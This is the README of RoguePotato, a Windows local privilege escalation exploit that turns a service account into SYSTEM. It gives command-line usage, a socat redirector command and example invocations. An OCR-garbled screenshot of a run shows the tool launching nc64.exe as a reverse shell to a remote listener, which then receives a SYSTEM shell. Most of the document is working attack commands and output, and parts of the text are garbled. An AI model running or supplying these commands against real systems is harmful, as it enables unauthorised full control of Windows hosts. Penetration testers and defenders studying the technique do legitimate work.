RoguePotato

Just another Windows Local Privilege Escalation from Service Account to System. Full details at —>
https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/

Usage

RoguePotato
@splinter_code & @decoder_it

Mandatory args:

-r remote_1ip: ip of the remote machine to use as redirector
—-e commandline: commandline of the program to launch

Optional args:

-1 listening_port: This will run the RogueOxidResolver locally on the
specified port

-c {clsid}: CLSID (default BITS:{4991d34b-80al-4291-83b6-3328366b9097})

-p pipename_placeholder: placeholder to be used in the pipe name
creation (default: RoguePotato)

-z : this flag will randomize the pipename_placeholder (don't use with
-P)

Examples:
- Network redirector / port forwarder to run on your remote machine,
must use port 135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999
- RoguePotato without running RogueOxidResolver locally. You should
run the RogueOxidResolver.exe on your remote machine. Use this if
you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"
- RoguePotato all in one with RogueOxidResolver running locally on
port 9999
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -1
9999
- RoguePotato all in one with RogueOxidResolver running locally on
port 9999 and specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -1
9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p
splintercode
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:~$ ifconfig ethi
n @ » = : 163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
i netmask 255. broadcast 10.255.255.255

<«

a23 prefixlen 64 scopeid 0x20<links>
Program c:\windows\system32\cmd.exe ether @ 29:¢3:02:2c  txqueuelen 1000 (Ethernet)

RX packets 3775 bytes 592013 (578.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0

/c whoami & C:\everyone\RoguePotato.exe -r 10.0.8.3 -e "C:\everyone\nc64.exe 10.0.0.3 TX packets 139537 bytes 10729683 (10.2 MiB)
3001 -e cnd.exe” -1 9999 TX errors 0 dropped @ overruns @ carrier @ collisions 0

:~$ nc -lvnp 3001
listening on [any] 3001 .
connect to [10.0.0.3] from (UNKNOWN) [10.9.0.6] 49725
Microsoft Windows [Version 10.0.17763.167]
(c) 2018 Microsoft Corporation. ALl rights reserved.

Arguments
c:\windows\system32\inetsrv>whoami
R whoami
v nt authority\system
iis apppool\defaultapppool c:\windows\system32\inetsrv>[]

[+] Starting RoguePotato

[*] Creating Rogue OXID reselver thread
[*] Creating Pipe Server thread

[*] Creating TriggerDCOM thread 1

[*] Listening on pipe \\.\pipe\RoguePotato\pipe\epmapper, waiting for client to connect {3 S S G- M SRR ol
[*] Calling CoGetInstanceFronIStarage with CLSID: {4991d34b-80al-4291-83b6-3328366h9097}

[+] starting RogueOxidResolver RPC Server listening on port 9999 ...

[*] Istoragetrigger written:98 bytes

[*] SecurityCallback RPC call

[*] ResolveOxid2 RPC call, this is for us!

[*] Resolvedxid2: returned endpoint binding information = ncacn_np:localhost/pipe/RoguePotatol\pipevepmapper]

[*] Client connected!

[+] Got SYSTEM Token!!!

[*] Token has SE_ASSTGN_PRIMARY NAME, using CreateProcessAsUser() for launching: C:\everyone\nc6d.exe 10.0.0.3 3001
[+] RoguePotato gave you the SYSTEM powerz
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